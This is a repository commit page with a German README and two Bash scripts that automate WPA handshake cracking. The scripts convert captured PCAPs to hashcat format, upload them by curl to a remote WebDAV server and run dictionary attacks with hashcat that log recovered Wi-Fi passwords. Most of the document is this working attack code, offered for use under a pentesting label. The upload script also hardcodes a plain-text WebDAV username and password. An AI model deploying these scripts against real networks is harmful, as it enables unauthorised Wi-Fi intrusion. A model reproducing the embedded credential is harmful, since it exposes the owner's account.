Dateien nach "/" hochladen
CrackHash CrackHash ist eine Sammlung von Shell-Skripten, die darauf abzielen, Handshake-Dateien zu konvertieren, hochzuladen und deren Passwörter zu knacken. Diese Tools wurden für Penetrationstests und die Analyse von WLAN-Netzwerken entwickelt und bieten eine automatisierte Lösung zur Verarbeitung von Handshakes. Funktionen: Automatische Konvertierung: Wandelt PCAP-Dateien in das HC22000-Format um, das von Tools wie Hashcat verwendet wird. WebDAV-Upload: Lädt die konvertierten Handshakes automatisch auf einen WebDAV-Server hoch, um sie sicher zu speichern. Passwort-Cracking: Nutzt Hashcat, um Handshakes zu entschlüsseln und zu überprüfen, ob das Passwort eines Netzwerks geknackt wurde. Ordnung und Verwaltung: Handshakes werden nach dem Cracken in entsprechende Verzeichnisse verschoben – entweder in das cracked oder not_cracked Verzeichnis, je nach Erfolg. Verzeichnisstruktur: /handshakes/: Enthält die zu verarbeitenden Handshakes. /output/: Speichert Ergebnisse des Cracking-Prozesses. /cracked/: Erfolgreich geknackte Handshakes. /not_cracked/: Handshakes, bei denen das Passwort nicht geknackt werden konnte. Voraussetzungen: WebDAV: Ein WebDAV-Server muss eingerichtet und konfiguriert sein, um die Handshakes hochzuladen. Hashcat: Ein installiertes Hashcat-Tool zum Cracken der Handshakes. Wortliste: Eine geeignete Wortliste (z. B. hashes_2017.txt) für das Cracking. Nutzung: Konfiguriere das WebDAV für das Skript auf deinem Gerät. Führe das Skript aus, um Handshakes zu konvertieren und hochzuladen. Auf dem Server kannst du Handshakes durch das Cracking-Skript verarbeiten, um das Passwort zu finden. CrackHash hilft Pen-Testern und Forschern, Handshakes effizient zu verarbeiten, hochzuladen und zu entschlüsseln.
This commit is contained in:
commit
3f90b354d8
77
crackhash.sh
Normal file
77
crackhash.sh
Normal file
@ -0,0 +1,77 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Verzeichnisse definieren
|
||||
handshake_dir="/root/handshakes/"
|
||||
output_dir="$handshake_dir/output"
|
||||
cracked_dir="$handshake_dir/cracked"
|
||||
not_cracked_dir="$handshake_dir/not_cracked"
|
||||
wordlist="/usr/share/wordlists/hashes_2017.txt" # Korrekter Pfad zur Wortlisten-Datei
|
||||
|
||||
# Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden
|
||||
mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir"
|
||||
|
||||
# Datei für Ergebnisse erstellen/leeren, falls vorhanden
|
||||
> "$output_dir/results.txt"
|
||||
> "$output_dir/cracked.txt"
|
||||
|
||||
# Funktion zum Bearbeiten eines einzelnen Handshakes
|
||||
process_handshake() {
|
||||
local handshake=$1
|
||||
local handshake_filename=$(basename "$handshake")
|
||||
local network_name="${handshake_filename%.22000}"
|
||||
|
||||
echo "Verarbeite Handshake: $handshake_filename"
|
||||
|
||||
# Handshake knacken
|
||||
echo "Starte hashcat für $handshake_filename..."
|
||||
hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" --status
|
||||
|
||||
# Überprüfen, ob das Passwort geknackt wurde
|
||||
if grep -q "$network_name" "$output_dir/cracked.txt"; then
|
||||
# Passwort erfolgreich geknackt
|
||||
cracked_password=$(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)
|
||||
echo "Netzwerk: $network_name, Passwort: $cracked_password" >> "$output_dir/results.txt"
|
||||
mv "$handshake" "$cracked_dir/"
|
||||
echo "Passwort für $network_name gefunden und Handshake in 'cracked' verschoben"
|
||||
else
|
||||
# Passwort nicht gefunden
|
||||
echo "Passwort für $network_name nicht gefunden"
|
||||
mv "$handshake" "$not_cracked_dir/"
|
||||
fi
|
||||
}
|
||||
|
||||
# Funktion zum Durchgehen aller Handshakes
|
||||
bruteforce_handshake() {
|
||||
# Überprüfen, ob Handshakes vorhanden sind
|
||||
if ! ls "$handshake_dir"/*.22000 &> /dev/null; then
|
||||
echo "Keine Handshake-Dateien (*.22000) im Verzeichnis $handshake_dir gefunden!"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Durch alle Handshakes gehen
|
||||
for handshake in "$handshake_dir"/*.22000; do
|
||||
if [ ! -f "$handshake" ]; then
|
||||
echo "Fehler: $handshake ist keine Datei oder existiert nicht."
|
||||
continue
|
||||
fi
|
||||
|
||||
handshake_filename=$(basename "$handshake")
|
||||
|
||||
# Überprüfen, ob der Handshake bereits in einem der Zielverzeichnisse existiert
|
||||
if [ -f "$cracked_dir/$handshake_filename" ]; then
|
||||
echo "Handshake $handshake_filename wurde bereits geknackt, überspringen..."
|
||||
continue
|
||||
elif [ -f "$not_cracked_dir/$handshake_filename" ]; then
|
||||
echo "Handshake $handshake_filename wurde bereits als nicht geknackt markiert, überspringen..."
|
||||
continue
|
||||
else
|
||||
# Handshake bearbeiten
|
||||
process_handshake "$handshake"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Main
|
||||
echo "Starte Handshake-Bearbeitung..."
|
||||
bruteforce_handshake # Handshakes knacken
|
||||
echo "Handshake-Bearbeitung abgeschlossen."
|
||||
61
upload_handshakes.sh
Normal file
61
upload_handshakes.sh
Normal file
@ -0,0 +1,61 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Skript zum automatischen Konvertieren & Hochladen von Handshake-Dateien via WebDAV
|
||||
# Autor: Michael
|
||||
# Datum: 03.03.2025
|
||||
# Beschreibung: Wandelt PCAPs in HC22000 um und lädt sie hoch.
|
||||
# Nutzung: Einfach ausführen, setzt WebDAV-Zugangsdaten voraus.
|
||||
|
||||
# WebDAV-Zugangsdaten
|
||||
WEBDAV_URL="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/Handshakes"
|
||||
WEBDAV_USER="Michaelis"
|
||||
WEBDAV_PASS="CpGPz-H6F8t-iwd25-3TYXT-9YN3J"
|
||||
|
||||
# Verzeichnisse
|
||||
LOCAL_DIR="/home/pi/handshakes"
|
||||
LOG_FILE="/home/pi/webdav_upload.log"
|
||||
|
||||
# Prüfe, ob das Verzeichnis existiert
|
||||
if [ ! -d "$LOCAL_DIR" ]; then
|
||||
echo "$(date) - Fehler: Verzeichnis $LOCAL_DIR existiert nicht." | tee -a "$LOG_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Funktion: Konvertiere PCAP zu HC22000
|
||||
convert_pcaps() {
|
||||
echo "$(date) - Starte Konvertierung von PCAPs nach HC22000..." | tee -a "$LOG_FILE"
|
||||
for pcap in "$LOCAL_DIR"/*.pcap; do
|
||||
[ -f "$pcap" ] || continue # Falls keine PCAP-Dateien vorhanden sind, überspringen
|
||||
hc22000="${pcap%.pcap}.22000"
|
||||
|
||||
# Konvertiere nur, wenn ein 4-Way Handshake vorhanden ist
|
||||
hcxpcapngtool -o "$hc22000" "$pcap" 2>> "$LOG_FILE"
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "$(date) - Erfolgreich konvertiert: $pcap -> $hc22000" | tee -a "$LOG_FILE"
|
||||
else
|
||||
echo "$(date) - Fehler bei der Konvertierung: $pcap. Lösche fehlerhafte PCAP-Datei." | tee -a "$LOG_FILE"
|
||||
rm "$pcap" # Lösche fehlerhafte PCAP-Datei
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Starte Konvertierung
|
||||
convert_pcaps
|
||||
|
||||
# Starte den Upload
|
||||
echo "$(date) - Starte Upload..." | tee -a "$LOG_FILE"
|
||||
for file in "$LOCAL_DIR"/*.22000; do
|
||||
[ -f "$file" ] || continue # Falls keine 22000-Dateien vorhanden sind, überspringen
|
||||
echo "$(date) - Lade hoch: $(basename "$file")" | tee -a "$LOG_FILE"
|
||||
|
||||
curl -u "$WEBDAV_USER:$WEBDAV_PASS" -T "$file" "$WEBDAV_URL/" --silent --show-error --fail
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "$(date) - Erfolgreich hochgeladen: $file" | tee -a "$LOG_FILE"
|
||||
else
|
||||
echo "$(date) - Fehler beim Hochladen: $file" | tee -a "$LOG_FILE"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "$(date) - Upload abgeschlossen." | tee -a "$LOG_FILE"
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user